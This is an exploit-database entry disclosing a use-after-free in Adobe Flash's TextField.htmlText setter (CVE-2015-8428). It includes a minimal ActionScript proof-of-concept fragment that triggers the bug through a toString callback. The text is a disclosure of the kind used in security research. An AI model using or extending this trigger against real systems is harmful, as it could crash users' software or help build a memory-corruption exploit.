Adobe Flash TextField.htmlText Setter - Use-After-Free

ID EDB-ID:39051
Type exploitdb
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Adobe Flash TextField.htmlText Setter - Use-After-Free. CVE-2015-8428. Dos exploit for windows platform


There is a use-after-free in the TextField.htmlText setter. If the htmlText the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.htmlText = {toString : func};

function func(){


        // Fix heap here

	return "<b>hello</b>";

A sample swf and fla are attached.

Proof of Concept: